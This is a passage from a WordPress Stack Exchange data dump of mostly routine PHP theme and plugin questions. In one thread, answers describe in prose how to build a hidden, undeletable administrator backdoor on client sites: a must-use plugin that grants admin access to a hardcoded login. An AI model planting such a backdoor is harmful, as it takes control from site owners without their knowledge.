{&#xA;    // &quot;About&quot; Page&#xA;    if ( is_page('about') ) {&#xA;        get_template_part( 'sidebar_content', 'default' );&#xA;    }&#xA;    // &quot;Links&quot; Page&#xA;    elseif ( is_page('links') ) {&#xA;        get_template_part( 'sidebar_content', 'links' );&#xA;    }&#xA;}&#xA;add_action( 'wp_meta', 'load_my_sidebars', 10 );&#xA;&#xA;// in sidebar_content-default.php&#xA;    // If some widget is added via Admin &amp;gt; Design &amp;gt; Widgets&#xA;    // You can add any static content right here before the widgets&#xA;    if ( is_active_sidebar( 'widgets-sidebar-default' ) ) {&#xA;        // Display Widgets&#xA;        dynamic_sidebar( 'widgets-sidebar-default' );&#xA;    }&#xA;    // Default Content before Widgets were added&#xA;    else {&#xA;        _e('default static content', TEXTDOMAIN);&#xA;    }&#xA;    // You can add any static content right here after the widgets&#xA;&#xA;// in sidebar_content-links.php&#xA;    if ( is_active_sidebar( 'widgets-sidebar-links' ) ) {&#xA;        dynamic_sidebar( 'widgets-sidebar-links' );&#xA;    }&#xA;    else {&#xA;        _e('default static content', TEXTDOMAIN);&#xA;    }&#xA;?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="385" LastActivityDate="2011-01-27T19:05:39.380" />
  <row Id="7918" PostTypeId="1" AcceptedAnswerId="14853" CreationDate="2011-01-27T19:29:42.970" Score="0" ViewCount="154" Body="&lt;p&gt;I want to extract the first oEmbed url inserted on the content of a post in order to put in a meta tag from the header, or elsewhere as a way to style it differently from the rest of the content.&lt;/p&gt;&#xA;" OwnerUserId="2201" LastActivityDate="2011-04-15T19:04:02.257" Title="Extract the first oembed url inserted on the content of a post" Tags="&lt;php&gt;&lt;oembed&gt;" AnswerCount="2" CommentCount="2" />
  <row Id="7919" PostTypeId="1" AcceptedAnswerId="7921" CreationDate="2011-01-27T19:29:47.023" Score="0" ViewCount="192" Body="&lt;p&gt;Hello I would like to know if there is a way to pull the contents of comments on a post to a separate page from wordpress. currently this is what i have, i'd like to replace with a function to pull the comments instead of pulling the link to the comments.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;// Include Wordpress &#xA;define('WP_USE_THEMES', false);&#xA;require('./blog/wp-load.php');&#xA;?&amp;gt;&#xA;&amp;lt;div&amp;gt;&#xA;&amp;lt;p style=&quot;font-size:18px;color:white;font-wieght:700;&quot;&amp;gt;Recently Asked Questions&amp;lt;/p&amp;gt;&#xA;&amp;lt;?php query_posts('showposts=3'); ?&amp;gt;&#xA;&amp;lt;?php while (have_posts()): the_post(); ?&amp;gt;&#xA;&amp;lt;div id=&quot;faq&quot;&amp;gt;&#xA;&amp;lt;a href=&quot;&amp;lt;?php the_permalink() ?&amp;gt;&quot;&amp;gt;&amp;lt;?php the_title() ?&amp;gt;&amp;lt;/a&amp;gt;&amp;lt;br /&amp;gt;&#xA;&amp;lt;?php the_time('F jS, Y') ?&amp;gt;&#xA;&amp;lt;?php the_excerpt(); ?&amp;gt;&#xA;&amp;lt;?php comments_popup_link(); ?&amp;gt;&#xA;To see the answer to the question click &amp;lt;a href=&quot;&amp;lt;?php the_permalink() ?&amp;gt;&quot;&amp;gt;here&amp;lt;/a&amp;gt;.&amp;lt;br /&amp;gt;&amp;lt;br /&amp;gt;&#xA;&amp;lt;/div&amp;gt;&#xA;&amp;lt;?php endwhile; ?&amp;gt;&#xA;&amp;lt;/div&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Any help is appreciated, thank you.&lt;/p&gt;&#xA;" OwnerUserId="2772" LastActivityDate="2011-06-01T04:17:03.873" Title="how to pull wordpress post comments to a external page" Tags="&lt;theme-development&gt;&lt;themes&gt;&lt;comments&gt;&lt;get-comments&gt;" AnswerCount="2" />
  <row Id="7920" PostTypeId="2" ParentId="7065" CreationDate="2011-01-27T19:30:08.393" Score="2" ViewCount="" Body="&lt;p&gt;You can try &lt;a href=&quot;http://wordpress.org/extend/plugins/karedas-favicons/&quot; rel=&quot;nofollow&quot;&gt;Karedas Favicon&lt;/a&gt;:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Add 16x16 favicon after all the links&#xA;  in your posts. The favicon's tag has a&#xA;  'favlink' class so you can CSS it as&#xA;  you wish.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;There are lots of plugins if you &lt;a href=&quot;http://wordpress.org/extend/plugins/search.php?q=favicon&quot; rel=&quot;nofollow&quot;&gt;search for &quot;favicon&quot; on the WordPress plugin database&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you were to develop such a plugin, I wouldn't rely 100% on the Google Service. I would check the link's html, and try to get a favicon in the W3C standard way:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;link rel=&quot;icon&quot; type=&quot;image/png&quot; href=&quot;http://example.com/myicon.png&quot;&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;In case that code is not present, check for others:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;link rel=&quot;Shortcut Icon&quot; href=&quot;http://example.com/favicon.ico&quot; type=&quot;image/x-icon&quot; /&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Or look for the favicon.ico|png file on the domain root (a usual way to use favicons).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If none of these do return an icon, use the S2 service.&lt;/p&gt;&#xA;" OwnerUserId="298" LastActivityDate="2011-01-27T19:30:08.393" CommentCount="1" />
  <row Id="7921" PostTypeId="2" ParentId="7919" CreationDate="2011-01-27T19:55:53.513" Score="0" ViewCount="" Body="&lt;p&gt;add &#xA;to your loop and replace it with the the_permalink() function something like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;// Include Wordpress &#xA;define('WP_USE_THEMES', false);&#xA;require('./blog/wp-load.php');&#xA;?&amp;gt;&#xA;&amp;lt;div&amp;gt;&#xA;&amp;lt;p style=&quot;font-size:18px;color:white;font-wieght:700;&quot;&amp;gt;Recently Asked Questions&amp;lt;/p&amp;gt;&#xA;&amp;lt;?php query_posts('showposts=3'); ?&amp;gt;&#xA;&amp;lt;?php while (have_posts()): the_post(); ?&amp;gt;&#xA;&amp;lt;div id=&quot;faq&quot;&amp;gt;&#xA;&amp;lt;a href=&quot;&amp;lt;?php the_permalink() ?&amp;gt;&quot;&amp;gt;&amp;lt;?php the_title() ?&amp;gt;&amp;lt;/a&amp;gt;&amp;lt;br /&amp;gt;&#xA;&amp;lt;?php the_time('F jS, Y') ?&amp;gt;&#xA;&amp;lt;?php the_excerpt(); ?&amp;gt;&#xA;&amp;lt;?php comments_popup_link(); ?&amp;gt;&#xA;&amp;lt;?php comments_template( '', true ); ?&amp;gt;&#xA;&amp;lt;br /&amp;gt;&#xA;&amp;lt;/div&amp;gt;&#xA;&amp;lt;?php endwhile; ?&amp;gt;&#xA;&amp;lt;/div&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2487" LastActivityDate="2011-01-27T19:55:53.513" />
  <row Id="7922" PostTypeId="1" CreationDate="2011-01-27T20:08:27.317" Score="1" ViewCount="226" Body="&lt;p&gt;I use the permalink structure /%post_id%/%postname% because I have user submitted content. The problem is that %postname% still auto-increments itself and looks funny, even though the post id makes it unique. Is there a way to disable %postname% auto-incrementing?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;domain.com/634/apple-pie&lt;br&gt;&#xA;domain.com/635/apple-pie-2&lt;br&gt;&#xA;domain.com/636/apple-pie-3 &lt;/p&gt;&#xA;&#xA;&lt;p&gt;should be:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;domain.com/634/apple-pie&lt;br&gt;&#xA;domain.com/635/apple-pie&lt;br&gt;&#xA;domain.com/636/apple-pie&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Bonus points if you can do this just for a specified custom post type.&lt;/p&gt;&#xA;" OwnerUserId="2771" LastActivityDate="2011-01-28T02:19:58.473" Title="Turn off %postname% auto-incrementing?" Tags="&lt;permalinks&gt;" AnswerCount="2" FavoriteCount="3" />
  <row Id="7923" PostTypeId="2" ParentId="7878" CreationDate="2011-01-27T20:15:04.707" Score="1" ViewCount="" Body="&lt;p&gt;There's a plugin that will actually create the image size automatically for you if it doesn't exist. &lt;a href=&quot;http://austinmatzko.com/wordpress-plugins/filosofo-custom-image-sizes/&quot; rel=&quot;nofollow&quot;&gt;http://austinmatzko.com/wordpress-plugins/filosofo-custom-image-sizes/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I haven't needed to use this plugin yet myself. But it's worth a shot. There is talk about adding similar functionality to WP core, maybe in 3.2 &lt;a href=&quot;http://core.trac.wordpress.org/ticket/15311&quot; rel=&quot;nofollow&quot;&gt;http://core.trac.wordpress.org/ticket/15311&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="2771" LastEditorUserId="847" LastEditorDisplayName="" LastEditDate="2011-01-27T20:19:17.073" LastActivityDate="2011-01-27T20:19:17.073" />
  <row Id="7924" PostTypeId="2" ParentId="7918" CreationDate="2011-01-27T20:16:50.883" Score="0" ViewCount="" Body="&lt;p&gt;Try this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function get_first_oembed($id) {&#xA;&#xA;    $meta = get_post_custom($id);&#xA;&#xA;    foreach ($meta as $key =&amp;gt; $value)&#xA;        if (false !== strpos($key, 'oembed'))&#xA;            return $value[0];&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;embeds seem to be stored as rendered blocks of HTML so if you want link alone you will additionally need to extract it.&lt;/p&gt;&#xA;" OwnerUserId="847" LastActivityDate="2011-01-27T20:16:50.883" CommentCount="3" />
  <row Id="7926" PostTypeId="2" ParentId="7922" CreationDate="2011-01-27T20:37:42.113" Score="0" ViewCount="" Body="&lt;p&gt;Try this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_filter('wp_insert_post_data', 'remove_slug_suffix');&#xA;&#xA;function remove_slug_suffix($data) {&#xA;&#xA;    if ('post' == $data['post_type'])&#xA;        $data['post_name'] = preg_replace('/-\d+$/', '', $data['post_name']);&#xA;&#xA;    return $data;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="847" LastActivityDate="2011-01-27T20:37:42.113" CommentCount="3" />
  <row Id="7927" PostTypeId="1" CreationDate="2011-01-27T21:02:34.697" Score="3" ViewCount="145" Body="&lt;p&gt;I am looking for a safe way to import independent blogs into a WordPress MU installation. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The basic idea is to merge multiple blogs running on subdomains into a single wordpress installation with MU feature. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I can use the WordPress export/import feature but it would not work in my case with some of the blogs having a lot of content. I have played with this option. Not worth it. Export would time out even on localhost. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I also need the postid to remain same so that links do not break. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have spent a lot of time looking at the options I have. Import using PHPMYADMIN seems to be the only way out. But I am not sure what would be a safe way to import using this route! &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any ideas! &lt;/p&gt;&#xA;" OwnerUserId="1945" LastEditorUserId="8" LastEditorDisplayName="" LastEditDate="2011-01-28T06:56:56.430" LastActivityDate="2011-05-15T06:20:50.170" Title="Import a regular WordPress blog into a MU installation" Tags="&lt;multisite&gt;" AnswerCount="3" CommentCount="2" FavoriteCount="1" />
  <row Id="7928" PostTypeId="1" AcceptedAnswerId="7935" CreationDate="2011-01-27T21:05:16.533" Score="0" ViewCount="211" Body="&lt;p&gt;I want function that scan wordpress posts for youtube links or youtube shortcode and when found it, with regex selects only code from url (like '2SaZO4Gmfdc') and echo that code.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For now, i edited one plugin that do exacly same this, but instead of echoing code, it echoes something like img.youtube.com/vi/2SaZO4Gmfdc/0.jpg&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So, for now, i have this code &lt;a href=&quot;http://pastebin.com/6M70xpTX&quot; rel=&quot;nofollow&quot;&gt;http://pastebin.com/6M70xpTX&lt;/a&gt; and it's not working, and plugins code that works is here pastebin.com/MX2fca96&lt;/p&gt;&#xA;" OwnerUserId="1853" LastActivityDate="2011-01-27T22:35:15.647" Title="Echo youtube code from url or shortcode" Tags="&lt;functions&gt;" AnswerCount="1" />
  <row Id="7929" PostTypeId="1" AcceptedAnswerId="8532" CreationDate="2011-01-27T21:12:58.510" Score="1" ViewCount="384" Body="&lt;p&gt;I have created several wordpress sites for different clients and I want to have easy access to each site. I could always ftp into the files or edit the database, but i want it to be easier. I want it to be secret so a client doesn't accidently delete my user.  Does anyone have any ideas how i could have a secret admin level user or a plugin that is a backdoor. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Please believe me i'm not asking anyone to build this for me. I'm just asking for some ideas. like a brainstorming session. I have worked with lots of cms's but wordpress is still new. I thought there might be some veterans here that could point me in the right direction. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;OH I FORGOT THE MOST IMPORTANT PART. I need this to be a plugin!!! and obviously it needs to stay active even if the client upgrades the core. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any help/ideas would be great. Thanks.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;OK i see I'm getting a lot of heat from everybody thinking I am trying to accomplish an unethical task. I apologize and hope that no one deletes this. I guess I will try ask my question a different way. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Lets be honest what can do i accomplish with this &quot;secret user plugin&quot; that i cannot accomplish with ftp and database access. I am the webmaster for each client. I setup the hosting. Half of them do not even have ftp log-in information. Nothing devious is happening I'm only trying to make my life easier. &lt;/p&gt;&#xA;" OwnerUserId="2774" LastEditorUserId="2774" LastEditorDisplayName="" LastEditDate="2011-01-27T23:06:00.210" LastActivityDate="2011-07-05T00:05:22.543" Title="have secret admin level user or build backdoor" Tags="&lt;plugin-recommendation&gt;&lt;admin&gt;" AnswerCount="4" CommentCount="14" FavoriteCount="2" />
  <row Id="7930" PostTypeId="2" ParentId="7929" CreationDate="2011-01-27T21:42:16.663" Score="0" ViewCount="" Body="&lt;p&gt;Ok, here we go. There are two things you need to do:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Use a mu plugin (must-use plugin). Any PHP files in the wp-content/mu-plugins directory will automatically get loaded by WordPress before all other plugins. These must-use plugins cannot be deactivated. The only way to remove them is via FTP.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Look into &lt;code&gt;map_meta_cap()&lt;/code&gt; (&lt;a href=&quot;http://phpxref.ftwr.co.uk/wordpress/wp-includes/capabilities.php.source.html#l786&quot; rel=&quot;nofollow&quot;&gt;view the source here&lt;/a&gt;). WordPress' capabilities system has something called 'meta capabilities'; for example there is no actual capability called 'edit_post', but when a user tries to edit a specific post, WordPress checks for that capability in the function &lt;code&gt;current_user_can( 'edit_post', $post_id )&lt;/code&gt;. &lt;code&gt;map_meta_cap()&lt;/code&gt; looks at that combination and checks things like whether the post belongs to this user; if not, are they allowed to edit any post they wish? if not, don't allow them to edit this post. So what you'd want to do is check the meta capabilities for things like edit_user and delete_user. If a user is trying to edit or delete your user and it's not you, don't let them.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Let me know if you have more questions. I don't really know how much you know about WordPress.&lt;/p&gt;&#xA;" OwnerUserId="11" LastActivityDate="2011-01-27T21:42:16.663" CommentCount="6" />
  <row Id="7931" PostTypeId="2" ParentId="515" CreationDate="2011-01-27T22:04:12.037" Score="0" ViewCount="" Body="&lt;p&gt;I &lt;a href=&quot;http://n8v.enteuxis.org/2010/12/new-wordpress-plugin-to-configure-user-timeouts/&quot; rel=&quot;nofollow&quot;&gt;made a plugin&lt;/a&gt; to solve this problem by making the cookie expiration period user-configurable.&lt;/p&gt;&#xA;" OwnerUserId="2775" LastActivityDate="2011-01-27T22:04:12.037" />
  <row Id="7932" PostTypeId="1" CreationDate="2011-01-27T22:22:42.177" Score="0" ViewCount="110" Body="&lt;p&gt;In the style.css file in the first comment block, there is a optional &quot;Tags:&quot; directive. What are these tags used for? When are they used?&lt;/p&gt;&#xA;" OwnerUserId="2776" LastActivityDate="2011-01-27T22:27:03.813" Title="What are the Theme tags in style.css used for?" Tags="&lt;theme-development&gt;&lt;tags&gt;" AnswerCount="1" />
  <row Id="7933" PostTypeId="2" ParentId="7932" CreationDate="2011-01-27T22:27:03.813" Score="2" ViewCount="" Body="&lt;p&gt;They are used to let users search your theme in the Wordpress theme directory. For reference, check &lt;a href=&quot;http://wordpress.org/extend/themes/about/&quot; rel=&quot;nofollow&quot;&gt;http://wordpress.org/extend/themes/about/&lt;/a&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Are used if you upload your theme to wordpress.org&lt;/p&gt;&#xA;" OwnerUserId="2727" LastActivityDate="2011-01-27T22:27:03.813" CommentCount="4" />
  <row Id="7934" PostTypeId="2" ParentId="7781" CreationDate="2011-01-27T22:32:39.847" Score="0" ViewCount="" Body="&lt;p&gt;I don't have a solution for the syntax highlighting, but regarding the HTML window size, you can make make the editor window larger by dragging the bottom right corner.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In Chrome and Safari, you can do this from the HTML screen.  In Firefox and IE, you have to go to the VISUAL editor screen, drag to enlarge there, then switch back to the HTML view.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Hope this helps until you find the perfect solution.&lt;/p&gt;&#xA;" OwnerUserId="2709" LastActivityDate="2011-01-27T22:32:39.847" CommentCount="3" />
  <row Id="7935" PostTypeId="2" ParentId="7928" CreationDate="2011-01-27T22:35:15.647" Score="0" ViewCount="" Body="&lt;p&gt;Hi &lt;strong&gt;@Саша Стефано:&lt;/strong&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Maybe I'm missing something but at first glance it looks like you just need to add a &lt;code&gt;return&lt;/code&gt; statement &lt;em&gt;(I've not tested this code so if that's not it let me know and I'll dig in to figure it out):&lt;/em&gt; &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function get_youtube_kod($post_id=null) {&#xA;  // Get the post ID if none is provided&#xA;  if($post_id==null OR $post_id=='') $post_id = get_the_ID();&#xA;&#xA;    // Gets the post's content&#xA;    $post_array = get_post($post_id); &#xA;    $markup = $post_array-&amp;gt;post_content;&#xA;&#xA;    // Checks for a standard YouTube embed&#xA;    preg_match('#&amp;lt;object[^&amp;gt;]+&amp;gt;.+?http://www.youtube.com/v/([A-Za-z0-9\-_]+).+?&amp;lt;/object&amp;gt;#s', $markup, $matches);&#xA;&#xA;    // Checks for any YouTube URL&#xA;    if(!isset($matches[1])) {&#xA;      preg_match('#http://w?w?w?.?youtube.com/watch\?v=([A-Za-z0-9\-_]+)#s', $markup, $matches);&#xA;    }&#xA;&#xA;    // If no standard YouTube embed is found, checks for one embedded with JR_embed&#xA;    if(!isset($matches[1])) {&#xA;      preg_match('#\[yt url=([A-Za-z0-9\-_]+)]#s', $markup, $matches);&#xA;    }&#xA;&#xA;    if(!isset($matches[1])) {&#xA;      preg_match('#\[yt url=([A-Za-z0-9\-_]+)[^&amp;gt;]*]#s', $markup, $matches);&#xA;    }&#xA;&#xA;    // If we've found a YouTube video ID, create the thumbnail URL&#xA;    if(isset($matches[1])) {&#xA;      $youtube_kod = $matches[1];  &#xA;    }&#xA;    return $youtube_kod;&#xA;&#xA;};&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&#xA;&#xA;&#xA;" OwnerUserId="89" LastActivityDate="2011-01-27T22:35:15.647" CommentCount="4" />
  <row Id="7936" PostTypeId="2" ParentId="7929" CreationDate="2011-01-27T22:38:31.713" Score="1" ViewCount="" Body="&lt;p&gt;Following up on John's comment, add a must-use plugin that:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;On failed login, or on register, check for an arbitrary username/password of your choice (don't forget to hash the password in your plugin, since it'll be right there in clear text if not). If it matches, add that user/pass to the database with your email, grant him admin rights, and log him in.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;At your option, on logout, check if it is that user/pass combo is logging out. And if so, delete him.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;That way you'll be able to log in regardless of whether your super-admin login is in the users list.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Don't forget to protect the username, too. You don't want to create two users with the same username and different privileges.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;An alternative can be a must-use plugin that sticks to protecting your username of choice: if it gets edited/deleted, reject the change before it occurs.&lt;/p&gt;&#xA;" OwnerUserId="1208" LastActivityDate="2011-01-27T22:38:31.713" CommentCount="9" />
  <row Id="7937" PostTypeId="1" AcceptedAnswerId="7967" CreationDate="2011-01-27T23:07:12.923" Score="0" ViewCount="183" Body="&lt;p&gt;I'm just trying to create my blog in WordPress hosted on my GoDaddy account (Windows Deluxe plan). WordPress is installed as subsite. When I check my blog after several hours of inactivity I have to wait more than 10 seconds before site opens. I checked it in Firebug and there is 10+ seconds delay between sending request and receiving response. I guess it has something to do with loading the application in IIS. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Unfortunatelly I haven't found any setting in GoDaddy's management console to keep the site running. How to deal with this problem? Is there any trick to register my site somewhere and let it regulary check my site?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I expect rare traffic to my blog so it would be pretty annoying for visitors to wait for each visit.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Edit:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is not a problem of caching or too many plugins (my blog currently have one short post, one short page and All in one SEO plugin, nothing more). It is problem of slow response especially for the first call after long inactivity. Unfortunatelly Windows hosting does not offer Cron jobs. That is the reason why I'm looking for some additional service to regulary check my site.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But anyway GoDaddy looks like pretty bad choice. It was recommended to me and I liked the idea of Windows multi site hosting because I can host several apps there including .NET ones. The hosting itself and management tools look pretty good. But by simply checking the response I see that there is delay 1,5+ seconds for almost any request. If I access my test blog hosted directly at Wordpress the delay is 300ms.&lt;/p&gt;&#xA;" OwnerUserId="2768" LastEditorUserId="2768" LastEditorDisplayName="" LastEditDate="2011-01-28T19:30:28.870" LastActivityDate="2011-01-28T19:30:28.870" Title="Performance problem with first load" Tags="&lt;performance&gt;" AnswerCount="4" CommentCount="3" />
  <row Id="7938" PostTypeId="2" ParentId="7937" CreationDate="2011-01-27T23:23:55.213" Score="0" ViewCount="" Body="&lt;p&gt;Uhm, not sure, but seems that it's a shared hosting with a shared mysql instance. Maybe you have database load problem.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Did you use some caching plugins for wordpress?&#xA;They are a tremendous help, in solving this case of problem. Try W3 Total Cache and WP-Supercache. They help you mitigate the server load and minimize the load to the database, other that adding compression to js and css.&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://wordpress.org/extend/plugins/w3-total-cache/&quot; rel=&quot;nofollow&quot; title=&quot;W3 Total Cache&quot;&gt;W3 Total Cache&lt;/a&gt; &lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://wordpress.org/extend/plugins/wp-super-cache/&quot; rel=&quot;nofollow&quot; title=&quot;WP Super Cache&quot;&gt;WP Super Cache&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="2727" LastEditorUserId="2727" LastEditorDisplayName="" LastEditDate="2011-01-27T23:30:14.990" LastActivityDate="2011-01-27T23:30:14.990" />
  <row Id="7940" PostTypeId="1" CreationDate="2011-01-27T23:52:19.800" Score="0" ViewCount="66" Body="&lt;p&gt;Greetings!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Sorry for the vague title decription - Couldn't word it any different.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In my index.php page I have the following code: &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php  if (is_category('6')) { ?&amp;gt;&#xA;&amp;lt;?php include (TEMPLATEPATH . '/blog.php'); ?&amp;gt;&#xA;&amp;lt;?php } else { ?&amp;gt;&#xA;&amp;lt;?php if ( is_front_page() ) {&#xA;      $paged = (get_query_var('paged')) ? get_query_var('paged') : 1;&#xA;      query_posts(&quot;cat=5&amp;amp;paged=$paged&quot;);} ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Now, I'd like to include another category in the 'blog.php' template, but simply adding the cat number in the first line, like:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php  if (is_category('6, 7')) { ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;is not working and simply ignores both.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any idea of what I'm missing here, or perhaps a better way to do it altogether?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks&lt;/p&gt;&#xA;" LastActivityDate="2011-01-28T01:34:09.087" Title="Displaying categories in different template problem" Tags="&lt;categories&gt;&lt;template&gt;" AnswerCount="1" />
  <row Id="7941" PostTypeId="1" CreationDate="2011-01-28T00:59:18.033" Score="0" ViewCount="451" Body="&lt;p&gt;I am still new to Wordpress and I want to insert a featured content gallery into a Wordpress page. I tried to do it myself, but it wanted me to use custom fields. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Where can I add custom fields, is there any coding required? or do I just enter the value into custom fields text box? I want to add and then use custom fields for images in my featured content gallery, can you please help me?&lt;/p&gt;&#xA;" OwnerUserId="1295" LastEditorUserId="1687" LastEditorDisplayName="" LastEditDate="2011-01-29T01:45:07.503" LastActivityDate="2011-01-29T01:45:07.503" Title="how to add custom fields in page" Tags="&lt;themes&gt;&lt;custom-field&gt;" AnswerCount="1" />
  <row Id="7942" PostTypeId="1" AcceptedAnswerId="7944" CreationDate="2011-01-28T01:12:04.283" Score="0" ViewCount="57" Body="&lt;p&gt;Based on this &lt;a href=&quot;http://wordpress.stackexchange.com/questions/7587/organizing-by-super-categories-or-nested-categories&quot;&gt;post&lt;/a&gt;, I'm hoping to create good categories now, that I won't have to change much later.&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Can you change a category name later, without having to go back and re-categorize all articles? &lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Using the category &quot;Information Technology&quot; as a challenging example, would you call it: &#xA;a. IT &#xA;b. I.T. &#xA;c. InfoTech &#xA;d. InformationTechnology &#xA;e. Information Technology &#xA;(in other words, is shorter better?  any downside of long category names? any problem with a space in the category?) &lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="2550" LastActivityDate="2011-01-28T01:29:08.767" Title="Length of Category Names" Tags="&lt;categories&gt;" AnswerCount="2" />
  <row Id="7943" PostTypeId="2" ParentId="7942" CreationDate="2011-01-28T01:26:08.100" Score="1" ViewCount="" Body="&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Yes, you can change the category name later, and all posts assigned to the &quot;old&quot; category will automatically have the new category name. As long as the category ID is intact. &lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;I would say that you should use long and somewhat describing category titles. So, to your concrete question, I would go for Information Technology. &lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="1463" LastActivityDate="2011-01-28T01:26:08.100" CommentCount="2" />
  <row Id="7944" PostTypeId="2" ParentId="7942" CreationDate="2011-01-28T01:29:08.767" Score="1" ViewCount="" Body="&lt;p&gt;1.: Yes (Slugs differ then, but no need for you to re-categorize each post)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;2.: As you wrote: &quot;Information Technology&quot;. As a rule of thumb, Category Names should be between 2 and 26 characters, the actual length depends on your site and your needs as there is no hard nor soft limit to category length and there is no &quot;ideal&quot; or &quot;perfect&quot; category length. This needs to be decided individual based on preference and site content, context and the the current time. See as well &lt;a href=&quot;http://wordpress.stackexchange.com/questions/7587/organizing-by-super-categories-or-nested-categories&quot;&gt;your previous question&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="178" LastActivityDate="2011-01-28T01:29:08.767" CommentCount="2" />
  <row Id="7946" PostTypeId="2" ParentId="7940" CreationDate="2011-01-28T01:34:09.087" Score="1" ViewCount="" Body="&lt;p&gt;You need to put it in an array. &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php if(is_category(array(1,2,3,4)) ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1463" LastActivityDate="2011-01-28T01:34:09.087" CommentCount="1" />
